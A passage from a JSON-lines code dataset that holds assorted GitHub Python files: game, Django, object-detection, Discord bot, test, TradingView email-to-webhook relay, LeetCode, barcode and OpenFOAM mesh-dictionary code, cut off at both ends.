10))\n\n pygame.display.flip()\n dt = clock.tick(60)\n\npygame.quit()","repo_name":"James-Fleming12/Mario-1-1","sub_path":"mario.py","file_name":"mario.py","file_ext":"py","file_size_in_byte":26796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24236799026","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n# path('', views.index, name='index'),\n path('demo1', views.demo1, name='demo1'),\n path('getAlbums', views.getAlbums, name='getAlbums'),\n path('addAlbum', views.addAlbum, name='addAlbum'),\n path('editAlbum/', views.editAlbum, name='editAlbum'),\n path('deleteAlbum/', views.deleteAlbum, name='deleteAlbum'),\n]","repo_name":"jetweedy/django-music","sub_path":"albums/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42887330211","text":"#----------------------------------------------------#\n# 将单张图片预测、摄像头检测和FPS测试功能\n# 整合到了一个py文件中,通过指定mode进行模式的修改。\n#----------------------------------------------------#\nimport time\n\nimport cv2\nimport numpy as np\nfrom PIL import Image\n\nfrom frcnn import FRCNN\n\nif __name__ == \"__main__\":\n frcnn = FRCNN()\n #----------------------------------------------------------------------------------------------------------#\n # mode用于指定测试的模式:\n # 'predict' 表示单张图片预测,如果想对预测过程进行修改,如保存图片,截取对象等,可以先看下方详细的注释\n # 'video' 表示视频检测,可调用摄像头或者视频进行检测,详情查看下方注释。\n # 'fps' 表示测试fps,使用的图片是img里面的street.jpg,详情查看下方注释。\n # 'dir_predict' 表示遍历文件夹进行检测并保存。默认遍历img文件夹,保存img_out文件夹,详情查看下方注释。\n #----------------------------------------------------------------------------------------------------------#\n mode = \"dir_predict\"\n #-------------------------------------------------------------------------#\n # crop 指定了是否在单张图片预测后对目标进行截取\n # count 指定了是否进行目标的计数\n # crop、count仅在mode='predict'时有效\n #-------------------------------------------------------------------------#\n crop = False\n count = False\n\n\n #-------------------------------------------------------------------------#\n # dir_origin_path 指定了用于检测的图片的文件夹路径\n # dir_save_path 指定了检测完图片的保存路径\n # \n # dir_origin_path和dir_save_path仅在mode='dir_predict'时有效\n #-------------------------------------------------------------------------#\n dir_origin_path = \"img/\"\n dir_save_path = \"img_out/\"\n\n if mode == \"predict\":\n '''\n 1、该代码无法直接进行批量预测,如果想要批量预测,可以利用os.listdir()遍历文件夹,利用Image.open打开图片文件进行预测。\n 具体流程可以参考get_dr_txt.py,在get_dr_txt.py即实现了遍历还实现了目标信息的保存。\n 2、如果想要进行检测完的图片的保存,利用r_image.save(\"img.jpg\")即可保存,直接在predict.py里进行修改即可。 \n 3、如果想要获得预测框的坐标,可以进入frcnn.detect_image函数,在绘图部分读取top,left,bottom,right这四个值。\n 4、如果想要利用预测框截取下目标,可以进入frcnn.detect_image函数,在绘图部分利用获取到的top,left,bottom,right这四个值\n 在原图上利用矩阵的方式进行截取。\n 5、如果想要在预测图上写额外的字,比如检测到的特定目标的数量,可以进入frcnn.detect_image函数,在绘图部分对predicted_class进行判断,\n 比如判断if predicted_class == 'car': 即可判断当前目标是否为车,然后记录数量即可。利用draw.text即可写字。\n '''\n while True:\n img = input('Input image filename:')\n try:\n image = Image.open(img)\n except:\n print('Open Error! Try again!')\n continue\n else:\n r_image = frcnn.detect_image(image, crop = crop, count = count)\n r_image.show()\n\n elif mode == \"dir_predict\":\n import os\n from tqdm import tqdm\n\n img_names = os.listdir(dir_origin_path)\n for img_name in tqdm(img_names):\n if img_name.lower().endswith(('.bmp', '.dib', '.png', '.jpg', '.jpeg', '.pbm', '.pgm', '.ppm', '.tif', '.tiff')):\n image_path = os.path.join(dir_origin_path, img_name)\n image = Image.open(image_path)\n r_image = frcnn.detect_image(image)\n if not os.path.exists(dir_save_path):\n os.makedirs(dir_save_path)\n r_image.save(os.path.join(dir_save_path, img_name.replace(\".jpg\", \".png\")), quality=95, subsampling=0)\n\n else:\n raise AssertionError(\"Please specify the correct mode: 'predict' or 'dir_predict'.\")\n","repo_name":"hujiadfr/Object-detection-with-multi-sourced-labels","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4461,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28850485132","text":"import disnake\r\nfrom disnake.ext import commands\r\nfrom Dbot import bot\r\nfrom Dbot_Requests_Folder.request_send_button import Confirm\r\n\r\nclass Bot_testf(commands.Cog):\r\n def __init__(self, bot):\r\n self.bot = bot\r\n \r\n @commands.slash_command(guild_ids=[1097125882876923954])\r\n async def embedbutton(inter):\r\n view = Confirm()\r\n channel = bot.get_channel(int(1118583261824815236))\r\n button_embed = disnake.Embed(\r\n title=\"Новый способ писать заявки!\",\r\n description=\"Если бот в сети, то вам для написания заявки нужно нажать кнопку **✍️Заявка**\",\r\n color=0x03fc6b\r\n )\r\n\r\n await channel.send(embed=button_embed, view = view)\r\n\r\n \r\n","repo_name":"RigalHD/dbotpy","sub_path":"Dbot_Requests_Folder/Dbot_requests.py","file_name":"Dbot_requests.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6050117758","text":"import os\nfrom PIL import Image\nfrom unittest import skip\nfrom test.utils import BaseTest\nfrom tri_image import areas_finder\nfrom tri_image import utils\n\ndata_folder = os.path.join(os.path.dirname(__file__), \"data\")\n\n\n#######################################################################\nclass TestSeeder(BaseTest):\n ###################################################################\n def test_get_triangles_for_area(self):\n s = self.get_seeder()\n source_im = Image.open(os.path.join(data_folder, \"black.png\"))\n areas = areas_finder.get_areas(source_im, 1000)\n triangles = s.get_triangles_for_area(areas[0])\n self.assertEqual(len(triangles), 2)\n self.assertEqual(triangles[0].coordinates, [0, 0, 0, 64, 64, 64])\n self.assertEqual(triangles[1].coordinates, [0, 0, 64, 0, 64, 64])\n\n ###################################################################\n def test_filter_triangles(self):\n s = self.get_seeder()\n triangles = utils.create_random_triangles(s.size, 20, utils.RGB)\n new_triangles = s.filter_and_sort_triangles(triangles)\n\n self.assertTrue(len(new_triangles) <= s.num_triangles)\n\n previous_area = new_triangles[0].get_area()\n for tri in new_triangles[1:]:\n area = tri.get_area()\n if area > previous_area:\n self.fail()\n previous_area = area\n\n ###################################################################\n def test_coverBackground(self):\n im = Image.new(\"RGB\", (20, 20), color=(128, 0, 0))\n s = self.get_seeder(input_image=im)\n new_triangles = s.cover_background(2)\n self.assertTrue(len(new_triangles) == 2)\n for tri in new_triangles:\n self.assertTrue(tri.color == (128, 0, 0))\n","repo_name":"tobynance/tri_image","sub_path":"test/test_seeder.py","file_name":"test_seeder.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"9221582094","text":"import toml\nimport pyfiglet\nimport json\nimport requests\nimport time\n\nfrom rich import print as cprint\nfrom rich import traceback\nfrom imap_tools import MailBox\nfrom datetime import datetime, timezone\nfrom bs4 import BeautifulSoup\n\nfrom src.logger import log, Colorcode\n\n\ntraceback.install()\n\n# ---------------* Common *---------------\nconfig = toml.load(\"config.toml\")\nemail_address = config.get(\"email_address\")\nlogin_password = config.get(\"login_password\")\nimap_server_address = config.get(\"imap_server_address\")\nimap_server_port = config.get(\"imap_server_port\")\nwebhook_urls = config.get(\"webhook_urls\")\n\ntradingview_alert_email_address = [\"noreply@tradingview.com\"]\n\n# ---------------* Main *---------------\n\nlast_email_uid = -1\nlast_emails = []\nloop_duration_sample = []\ndisplaying_loop_duration = False\n\n# welcome message\ncprint(pyfiglet.figlet_format(\"TradingView\\nFree Webhook\"))\n\n\ndef send_webhook(payload):\n headers = {\n 'Content-Type': 'application/json',\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'\n }\n for webhook_url in webhook_urls:\n requests.post(webhook_url, data=json.dumps(payload), headers=headers)\n\ndef display_loop_duration(duration):\n global loop_duration_sample\n global displaying_loop_duration\n\n prefix = \"Average loop duration(smaller is better): \"\n roundNum = 5\n maxSampleNum = 20\n if duration != -1:\n displaying_loop_duration = True\n def average(array):\n return round(sum(array)/len(array), roundNum)\n def fillZero(num):\n if \".\" not in str(num):\n return str(num)+\".\"+\"0\"*roundNum\n strDiff = roundNum - len(str(num).split(\".\")[1])\n if strDiff > 0:\n num = str(num)+\"0\"*strDiff\n return num\n duration = duration.total_seconds()\n loop_duration_sample.append(duration)\n # control number of sample\n if len(loop_duration_sample) > maxSampleNum:\n del loop_duration_sample[0]\n # get average duration\n avg = str(fillZero(average(loop_duration_sample)))\n output = prefix+avg+\"s\"\n else:\n displaying_loop_duration = False\n avg = str(\"0.\"+\"0\"*(roundNum+3))\n textCount = len(prefix+avg)\n output = \" \"*textCount\n print(f\"{Colorcode.magenta}{output}{Colorcode.reset}\", end=\"\\r\")\n \n\ndef get_latest_email(mailbox):\n try:\n for email in mailbox.fetch(limit=1, reverse=True):\n return email\n except:\n return False\n\ndef connect_imap_server():\n try:\n mailbox = MailBox(host=imap_server_address, port=imap_server_port)\n mailbox.login(email_address, login_password, initial_folder=\"INBOX\")\n return mailbox\n except Exception as err:\n log.error(f\"Here an error has occurred, reason: {err}\")\n log.warning(\"The program will shut down after 10s...\")\n time.sleep(10)\n exit()\n\ndef close_imap_connection(mailbox):\n mailbox.logout()\n\ndef main():\n global last_email_uid\n log.info(\"Initializing...\")\n mailbox = connect_imap_server()\n latestEmail = get_latest_email(mailbox)\n last_email_uid = int(latestEmail.uid) if latestEmail else False\n close_imap_connection(mailbox)\n log.info(f\"Listening to IMP server({imap_server_address})...\")\n while True:\n # ref: https://github.com/ikvk/imap_tools#actions-with-emails\n startTime = datetime.now()\n mailbox = connect_imap_server()\n latestEmail = get_latest_email(mailbox)\n latestEmailUid = int(latestEmail.uid) if latestEmail else False\n # check if inbox turn from empty to not empty\n if not last_email_uid and latestEmailUid >= 0:\n # giving a previous email uid\n last_email_uid = latestEmailUid-1\n uidDifferent = (latestEmailUid-last_email_uid) if latestEmailUid else -1\n if uidDifferent > 0:\n latestEmails = mailbox.fetch(limit=uidDifferent, reverse=True)\n last_emails = []\n for email in latestEmails:\n if email in last_emails:\n log.warning(f\"Duplicate email found: {email.uid}\")\n continue\n if email.from_ in tradingview_alert_email_address:\n # get email content\n if email.text == \"\":\n try:\n ctx = BeautifulSoup(email.html, \"html.parser\")\n ctx = list(ctx.find_all(\"p\"))[1].text\n except:\n log.warning(\"No content found in email.\")\n ctx = \"\"\n else:\n ctx = email.text\n # check if json\n try:\n ctx = json.loads(ctx)\n except:\n ctx = email.text\n # stop display loop duration\n if displaying_loop_duration:\n display_loop_duration(-1)\n # send webhook\n log.info(f\"Sending webhook alert<{email.subject}>, content: {ctx}\")\n try:\n send_webhook(ctx)\n log.ok(\"Sent webhook alert successfully!\")\n log.info(f\"The whole process taken {round(abs(datetime.now(timezone.utc)-email.date).total_seconds(),3)}s.\")\n last_emails.append(email)\n except Exception as err:\n log.error(f\"Sent webhook failed, reason: {err}\")\n else:\n # if not target email... mark unseen?\n # code\n pass\n else:\n pass\n display_loop_duration(datetime.now()-startTime)\n last_email_uid = latestEmailUid\n close_imap_connection(mailbox)\n\n\nif __name__ == \"__main__\":\n try:\n main()\n except KeyboardInterrupt:\n log.warning(\"The program has been stopped by user.\")\n log.warning(\"The program will shut down after 10s...\")\n time.sleep(10)\n exit()\n","repo_name":"afsalkasim75/trading-view","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32161356025","text":"# Question: https://leetcode.com/explore/challenge/card/october-leetcoding-challenge/559/week-1-october-1st-october-7th/3483/\n\n\"\"\"\nGiven a list of intervals, remove all intervals that are covered by another interval in the list.\nInterval [a,b) is covered by interval [c,d) if and only if c <= a and b <= d.\nAfter doing so, return the number of remaining intervals.\n\nExample 1:\n Input: intervals = [[1,4],[3,6],[2,8]]\n Output: 2\n Explanation: Interval [3,6] is covered by [2,8], therefore it is removed.\n\nExample 2:\n Input: intervals = [[1,4],[2,3]]\n Output: 1\n\nExample 3:\n Input: intervals = [[0,10],[5,12]]\n Output: 2\n\nExample 4:\n Input: intervals = [[3,10],[4,10],[5,11]]\n Output: 2\n\nExample 5:\n Input: intervals = [[1,2],[1,4],[3,4]]\n Output: 1\n \nConstraints:\n (1) 1 <= intervals.length <= 1000\n (2) intervals[i].length == 2\n (3) 0 <= intervals[i][0] < intervals[i][1] <= 10^5\n (4) All the intervals are unique.\n\"\"\"\n\nclass Solution:\n def removeCoveredIntervals(self, intervals: List[List[int]]) -> int:\n intervals.sort(key = lambda a: (a[0], -a[1]))\n ans = 0\n end = None\n \n for start, stop in intervals:\n if not end:\n end = stop\n ans += 1\n elif start < end and stop <= end:\n continue\n else:\n end = stop\n ans += 1\n \n return ans","repo_name":"patel-himanshu/leetcode-problems","sub_path":"2020 - October LeetCoding Challenge/1288-remove-covered-intervals.py","file_name":"1288-remove-covered-intervals.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"45051994666","text":"import barcode\r\nfrom barcode.writer import ImageWriter\r\nimport random\r\nfrom PIL import Image\r\nimport qrcode\r\nimport random\r\nimport os\r\n\r\n\r\n\r\nclass Stroke(object):\r\n\r\n\tdef __init__(self, dirr, rand_name, pic_format):\r\n\t\t#rand.name \r\n\t\tself.dirr = dirr\r\n\t\tself.rand_name = rand_name\r\n\t\tself.pic_format = pic_format #\".\"\r\n\t\tself.img_dir = self.dirr + self.rand_name\r\n\t\tself.frm_img = self.img_dir + self.pic_format\r\n\r\n\t# png\r\n\tdef create_rand_hatch(self):\r\n\t\tbarCodeImage = barcode.get('ean13', self.rand_name, writer=ImageWriter())\r\n\t\tbarCodeImage.save(self.img_dir)\r\n\t\tself.clear_metadata(self.frm_img)\r\n\t\tphoto = open(self.frm_img, 'rb')\r\n\t\treturn photo\r\n\r\n\t# jpg\r\n\tdef create_rand_qr(self):\r\n\t\tqr = qrcode.QRCode(\r\n\t\tversion=1,\r\n\t\terror_correction=qrcode.constants.ERROR_CORRECT_L,\r\n\t\tbox_size=10,\r\n\t\tborder=4,\r\n\t\t)\r\n\t\tqr.add_data(self.rand_name)\r\n\t\tqr.make(fit=True)\r\n\t\timg = qr.make_image(fill_color=\"black\", back_color=\"white\")\r\n\t\timg.save(self.frm_img, \"JPEG\")\r\n\t\tself.clear_metadata(self.frm_img)\r\n\t\tphoto = open(self.frm_img, 'rb')\r\n\t\treturn photo\r\n\r\n\tdef clear_metadata(self, photo):\r\n\t\timage = Image.open(photo)\r\n\t\tdata = list(image.getdata())\r\n\t\timage_without_exif = Image.new(image.mode, image.size)\r\n\t\timage_without_exif.putdata(data)\r\n\t\timage_without_exif.save(photo)\r\n\t\t# photo = open(qrphoto, 'rb')\r\n\t\t\r\n\r\n# if __name__ == \"__main__\":\r\n# \tphoto = Stroke('qrcode/', \"4233423342342\", '.png')\r\n# \tdre = photo.create_rand_hatch()\r\n\t# dre = photo.create_rand_qr()\r\n\t# check = YooMoney(\"a1b2c3d445\")\r\n\t# sosa = check.make_payment(2)","repo_name":"olegtititele/azsbot","sub_path":"extra/create_hatch.py","file_name":"create_hatch.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71472009746","text":"# coding=utf-8\n\"\"\"BlockMeshDict class.\"\"\"\nfrom .boundarycondition import BoundingBoxBoundaryCondition, EmptyBoundaryCondition\nfrom .foamfile import FoamFile\nimport vectormath\nfrom .grading import SimpleGrading, Grading, MultiGrading\nfrom .parser import CppDictParser\nfrom .geometry import BFGeometry\nfrom math import sqrt, sin, cos, radians\nfrom collections import OrderedDict\n\n\nclass BlockMeshDict(FoamFile):\n \"\"\"BlockMeshDict.\"\"\"\n\n __default_values = OrderedDict()\n __default_values['convertToMeters'] = 1\n __default_values['vertices'] = None\n __default_values['blocks'] = None\n __default_values['boundary'] = {}\n\n def __init__(self, values=None):\n \"\"\"Init class.\"\"\"\n FoamFile.__init__(self, name='blockMeshDict', cls='dictionary',\n location='system', default_values=self.__default_values,\n values=values)\n\n self._bf_block_geometries = None # this will be overwritten in classmethods\n self._vertices = []\n self._is_from_vertices = False\n self._x_axis = None\n # variables for 2d blockMeshDict\n self._is_2d_in_x_dir = False\n self._is_2d_in_y_dir = False\n self._is_2d_in_z_dir = False\n self._original_3d_vertices = None\n self._order = []\n self.n_div_xyz = None\n self.grading = None\n\n @classmethod\n def from_file(cls, filepah, convertToMeters=1):\n \"\"\"Create a blockMeshDict from file.\n\n Args:\n filepah: Full path to blockMeshDict.\n converToMeters: converToMeters for the new document. This values\n will be used to update the vertices to the new units. Default\n is 1 which means blockMeshDict will be converted to meters.\n \"\"\"\n _cls = cls()\n\n with open(filepah, 'rb') as bf:\n lines = CppDictParser.remove_comments(bf.read())\n bmd = ' '.join(lines.replace('\\r\\n', ' ').replace('\\n', ' ').split())\n\n _cls.values['convertToMeters'] = convertToMeters\n\n original_convertToMeters = float(\n bmd.split('convertToMeters')[-1].split(';')[0])\n\n conversion = convertToMeters / original_convertToMeters\n\n # find vertices\n vertices = list(eval(','.join(bmd.split('vertices')[-1]\n .split(';')[0]\n .strip()[1:-1]\n .split())))\n\n _cls._vertices = list(tuple(i / conversion for i in v)\n for v in vertices)\n\n # get blocks, order of vertices, n_div_xyz, grading\n blocks = bmd.split('blocks')[-1].split(';')[0].strip()\n xyz, simpleGrading = blocks.split('simpleGrading')\n\n _cls._order, _cls.n_div_xyz = eval(','.join(xyz.split('hex')[-1].split()))\n\n simpleGrading = eval(','.join(simpleGrading.strip()[:-1]\n .replace('( ', '(')\n .replace(' )', ')')\n .split()))\n\n _cls.grading = SimpleGrading(\n *(MultiGrading(tuple(Grading(*i) for i in g))\n if isinstance(g, tuple) else Grading(g)\n for g in simpleGrading))\n\n # recreate boundary faces\n boundary_string = bmd.replace(' (', '(').replace(' )', ')') \\\n .split('boundary(')[-1].strip().replace('});', '}') \\\n .replace('));', ');').replace('((', ' (').replace(')(', ') (')\n\n _cls.values['boundary'] = {}\n for key, values in CppDictParser(boundary_string).values.iteritems():\n if isinstance(values, dict) and 'type' in values and 'faces' in values:\n values['faces'] = eval(str(values['faces']).replace(' ', ','))\n\n _cls.values['boundary'][key] = values\n\n del((lines, bmd))\n return _cls\n\n @classmethod\n def from_origin_and_size(cls, origin, width, length, height, convertToMeters=1,\n n_div_xyz=None, grading=None, x_axis=None):\n \"\"\"Create BlockMeshDict from bf_block_geometries.\n\n Args:\n origin: Minimum point of bounding box as (x, y, z).\n width: Width in x direction.\n length: Length in y direction.\n height: Height in y direction.\n convertToMeters: Scaling factor for the vertex coordinates.\n n_div_xyz: Number of divisions in (x, y, z) as a tuple (default: 5, 5, 5).\n grading: A simpleGrading (default: simpleGrading(1, 1, 1)).\n x_axis: An optional tuple that indicates the x_axis direction\n (default: (1, 0)).\n \"\"\"\n _x_axis = vectormath.normalize(\n (x_axis[0], x_axis[1], 0) if x_axis else (1, 0, 0))\n _z_axis = (0, 0, 1)\n _y_axis = vectormath.cross_product(_z_axis, _x_axis)\n vertices = [\n vectormath.move(origin,\n vectormath.sums((vectormath.scale(_x_axis, i * width),\n vectormath.scale(_y_axis, j * length),\n vectormath.scale(_z_axis, k * height))\n ))\n for i in range(2) for j in range(2) for k in range(2)]\n\n return cls.from_vertices(vertices, convertToMeters, n_div_xyz, grading,\n x_axis)\n\n @classmethod\n def from_min_max(cls, min_pt, max_pt, convertToMeters=1, n_div_xyz=None,\n grading=None, x_axis=None):\n \"\"\"Create BlockMeshDict from minimum and maximum point.\n\n Args:\n min_pt: Minimum point of bounding box as (x, y, z).\n max_pt: Maximum point of bounding box as (x, y, z).\n convertToMeters: Scaling factor for the vertex coordinates.\n n_div_xyz: Number of divisions in (x, y, z) as a tuple (default: 5, 5, 5).\n grading: A simpleGrading (default: simpleGrading(1, 1, 1)).\n x_axis: An optional tuple that indicates the x_axis direction\n (default: (1, 0)).\n \"\"\"\n _x_axis = vectormath.normalize(\n (x_axis[0], x_axis[1], 0) if x_axis else (1, 0, 0))\n _z_axis = (0, 0, 1)\n _y_axis = vectormath.cross_product(_z_axis, _x_axis)\n diagonal2_d = tuple(i - j for i, j in zip(max_pt, min_pt))[:2]\n _angle = radians(vectormath.angle_anitclockwise(_x_axis[:2], diagonal2_d))\n width = cos(_angle) * vectormath.length(diagonal2_d)\n length = sin(_angle) * vectormath.length(diagonal2_d)\n height = max_pt[2] - min_pt[2]\n\n vertices = [\n vectormath.move(min_pt,\n vectormath.sums((vectormath.scale(_x_axis, i * width),\n vectormath.scale(_y_axis, j * length),\n vectormath.scale(_z_axis, k * height))\n ))\n\n for i in range(2) for j in range(2) for k in range(2)]\n\n return cls.from_vertices(vertices, convertToMeters, n_div_xyz, grading,\n x_axis)\n\n @classmethod\n def from_vertices(cls, vertices, convertToMeters=1, n_div_xyz=None,\n grading=None, x_axis=None):\n \"\"\"Create BlockMeshDict from vertices.\n\n Args:\n vertices: 8 vertices to define the bounding box.\n convertToMeters: Scaling factor for the vertex coordinates.\n n_div_xyz: Number of divisions in (x, y, z) as a tuple (default: 5, 5, 5).\n grading: A simpleGrading (default: simpleGrading(1, 1, 1)).\n x_axis: An optional tuple that indicates the x_axis direction\n (default: (1, 0)).\n \"\"\"\n _cls = cls()\n _cls.values['convertToMeters'] = convertToMeters\n _cls._rawvertices = vertices\n\n # sort vertices\n _cls.x_axis = x_axis\n\n _cls._vertices = _cls._sort_vertices()\n\n _cls._order = tuple(range(8))\n\n # update self.values['boundary']\n _cls._update_boundary_from_sorted_vertices()\n\n _cls.n_div_xyz = n_div_xyz\n\n # assign grading\n _cls.grading = grading\n _cls._is_from_vertices = True\n return _cls\n\n @classmethod\n def from_bf_block_geometries(cls, bf_block_geometries, convertToMeters=1,\n n_div_xyz=None, grading=None, x_axis=None):\n \"\"\"Create BlockMeshDict from bf_block_geometries.\n\n Args:\n bf_block_geometries: A collection of boundary surfaces for bounding box.\n convertToMeters: Scaling factor for the vertex coordinates.\n n_div_xyz: Number of divisions in (x, y, z) as a tuple (default: 5, 5, 5).\n grading: A simpleGrading (default: simpleGrading(1, 1, 1)).\n x_axis: An optional tuple that indicates the x_axis direction\n (default: (1, 0)).\n \"\"\"\n _cls = cls()\n _cls.values['convertToMeters'] = convertToMeters\n _cls._bf_block_geometries = bf_block_geometries\n\n try:\n # collect uniqe vertices from all bf_geometries\n _cls._rawvertices = tuple(\n set(v for f in _cls._bf_block_geometries\n for vgroup in f.border_vertices\n for v in vgroup))\n except AttributeError as e:\n raise TypeError('At least one of the input geometries is not a '\n 'Butterfly block geometry:\\n\\t{}'.format(e))\n\n # sort vertices\n _cls.x_axis = x_axis[:2] if x_axis else (1, 0)\n _cls._vertices = _cls._sort_vertices()\n\n # update self.values['boundary']\n _cls.__update_boundary_from_bf_block_geometries()\n\n _cls._order = tuple(range(8))\n\n _cls.n_div_xyz = n_div_xyz\n\n # assign grading\n _cls.grading = grading\n\n return _cls\n\n @property\n def convertToMeters(self):\n \"\"\"Get convertToMeters.\"\"\"\n return self.values['convertToMeters']\n\n @property\n def boundary(self):\n \"\"\"Get boundaries and a dictionary.\"\"\"\n return self.values['boundary']\n\n @property\n def is2d_in_x_direction(self):\n \"\"\"Return True if the case is 2d in X direction.\"\"\"\n return self._is_2d_in_x_dir\n\n @property\n def is2d_in_y_direction(self):\n \"\"\"Return True if the case is 2d in Y direction.\"\"\"\n return self._is_2d_in_y_dir\n\n @property\n def is2d_in_z_direction(self):\n \"\"\"Return True if the case is 2d in Z direction.\"\"\"\n return self._is_2d_in_z_dir\n\n @property\n def vertices(self):\n \"\"\"Get the sorted list of vertices.\"\"\"\n return self._vertices\n\n @property\n def x_axis(self):\n \"\"\"X axis as a tuple.\"\"\"\n if self._x_axis:\n return self._x_axis\n else:\n self._x_axis = vectormath.normalize(\n vectormath.subtract(self.vertices[1], self.vertices[0])\n )\n return self._x_axis\n\n @x_axis.setter\n def x_axis(self, v):\n \"\"\"X axis.\"\"\"\n v = v or (1, 0, 0)\n self._x_axis = vectormath.normalize((v[0], v[1], 0))\n\n @property\n def y_axis(self):\n \"\"\"Y axis.\"\"\"\n return vectormath.cross_product(self.z_axis, self.x_axis)\n\n @property\n def z_axis(self):\n \"\"\"Z axis.\"\"\"\n return (0, 0, 1)\n\n def update_vertices(self, vertices, x_axis=None):\n \"\"\"Update blockMeshDict vertices.\"\"\"\n self._rawvertices = vertices\n\n # sort vertices\n if x_axis:\n self.x_axis = x_axis\n\n self._vertices = self._sort_vertices()\n\n self._order = tuple(range(8))\n\n # update self.values['boundary']\n self._update_boundary_from_sorted_vertices()\n\n @property\n def vertices_order(self):\n \"\"\"Get order of vertices in blocks.\"\"\"\n return self._order\n\n @property\n def geometry(self):\n \"\"\"A tuple of bf_geometries for BoundingBox faces.\"\"\"\n def _get_bf_geometry(name, attr):\n if name == 'boundingbox_empty':\n bc = EmptyBoundaryCondition()\n else:\n bc = BoundingBoxBoundaryCondition()\n\n ind = attr['faces'] if hasattr(attr['faces'][0], '__iter__') else \\\n (attr['faces'],)\n\n # unique indecies\n uniuqe = tuple(set(i for inx in ind for i in inx))\n\n renumbered_indx = tuple(tuple(uniuqe.index(i) for i in inx)\n for inx in ind)\n\n return BFGeometry(name, tuple(self.vertices[i] for i in uniuqe),\n renumbered_indx, boundary_condition=bc)\n\n if not self._bf_block_geometries:\n self._bf_block_geometries = tuple(\n _get_bf_geometry(name, attr)\n for name, attr in self.boundary.iteritems())\n\n return self._bf_block_geometries\n\n @property\n def width(self):\n \"\"\"Length of block in X direction.\"\"\"\n return self._distance(self.vertices[self.vertices_order[0]],\n self.vertices[self.vertices_order[1]])\n\n @property\n def length(self):\n \"\"\"Length of block in Y direction.\"\"\"\n return self._distance(self.vertices[self.vertices_order[0]],\n self.vertices[self.vertices_order[3]])\n\n @property\n def height(self):\n \"\"\"Length of block in Z direction.\"\"\"\n return self._distance(self.vertices[self.vertices_order[0]],\n self.vertices[self.vertices_order[4]])\n\n @property\n def center(self):\n \"\"\"Get center of the block.\"\"\"\n return self._average_verices()\n\n @property\n def min_pt(self):\n \"\"\"Return minimum pt x, y, z in this block.\"\"\"\n return self.vertices[self.vertices_order[0]]\n\n @property\n def max_pt(self):\n \"\"\"Return maximum pt x, y, z in this block.\"\"\"\n return self.vertices[self.vertices_order[6]]\n\n @property\n def min_z(self):\n \"\"\"Return minimum Z value of vertices in this block.\"\"\"\n return self.vertices[self.vertices_order[0]][2]\n\n @property\n def n_div_xyz(self):\n \"\"\"Number of divisions in (x, y, z) as a tuple (default: 5, 5, 5).\"\"\"\n return self._n_div_xyz\n\n @n_div_xyz.setter\n def n_div_xyz(self, d_xyz):\n self._n_div_xyz = tuple(int(v) for v in d_xyz) if d_xyz else (5, 5, 5)\n if self._is_2d_in_x_dir:\n self._n_div_xyz = 1, self._n_div_xyz[1], self._n_div_xyz[2]\n elif self._is_2d_in_y_dir:\n self._n_div_xyz = self._n_div_xyz[0], 1, self._n_div_xyz[2]\n elif self._is_2d_in_z_dir:\n self._n_div_xyz = self._n_div_xyz[0], self._n_div_xyz[1], 1\n\n @property\n def grading(self):\n \"\"\"A simpleGrading (default: simpleGrading(1, 1, 1)).\"\"\"\n return self._grading\n\n @grading.setter\n def grading(self, g):\n self._grading = g if g else SimpleGrading()\n\n assert hasattr(self.grading, 'isSimpleGrading'), \\\n 'grading input ({}) is not a valid simpleGrading.'.format(g)\n\n def make3d(self):\n \"\"\"Reload the 3d blockMeshDict if it has been converted to 2d.\"\"\"\n if not self._original_3d_vertices:\n print('This blockMeshDict is already a 3d blockMeshDict.')\n return\n self._vertices = self._original_3d_vertices\n self._is_2d_in_x_dir = False\n self._is_2d_in_y_dir = False\n self._is_2d_in_z_dir = False\n\n def make2d(self, plane_origin, plane_normal, width=0.1):\n \"\"\"Make the blockMeshDict two dimensional.\n\n Args:\n plane_origin: Plane origin as (x, y, z).\n plane_normal: Plane normal as (x, y, z).\n width: width of 2d blockMeshDict (default: 01).\n \"\"\"\n # copy original vertices\n if not self._original_3d_vertices:\n self._original_3d_vertices = self.vertices\n else:\n # load original 3d vertices\n self.make3d()\n\n n = vectormath.normalize(plane_normal)\n\n # project all vertices to plane and move them in direction of normal\n # by half of width\n self._vertices = [\n self._calculate2d_points(v, plane_origin, n, width)\n for v in self.vertices]\n\n # set boundary condition to empty\n # and number of divisions to 1 in shortest side\n minimum = min(self.width, self.length, self.height)\n if self.width == minimum:\n self.n_div_xyz = (1, self.n_div_xyz[1], self.n_div_xyz[2])\n self._is_2d_in_x_dir = True\n # set both sides to empty\n self._set_boundary_to_empty(4)\n self._set_boundary_to_empty(5)\n\n elif self.length == minimum:\n self.n_div_xyz = (self.n_div_xyz[0], 1, self.n_div_xyz[2])\n self._is_2d_in_y_dir = True\n # set inlet and outlet to empty\n self._set_boundary_to_empty(0)\n self._set_boundary_to_empty(1)\n\n elif self.height == minimum:\n self.n_div_xyz = (self.n_div_xyz[0], self.n_div_xyz[1], 1)\n self._is_2d_in_z_dir = True\n # set top and bottom to empty\n self._set_boundary_to_empty(2)\n self._set_boundary_to_empty(3)\n\n def expand_uniform_by_cells_count(self, count, renumber_division=True):\n \"\"\"Expand blockMeshDict boundingbox for n cells from all sides.\n\n This method will increase the number of divisions by 2 to keep the size\n of the cells unchanged unless renumber_division is set to 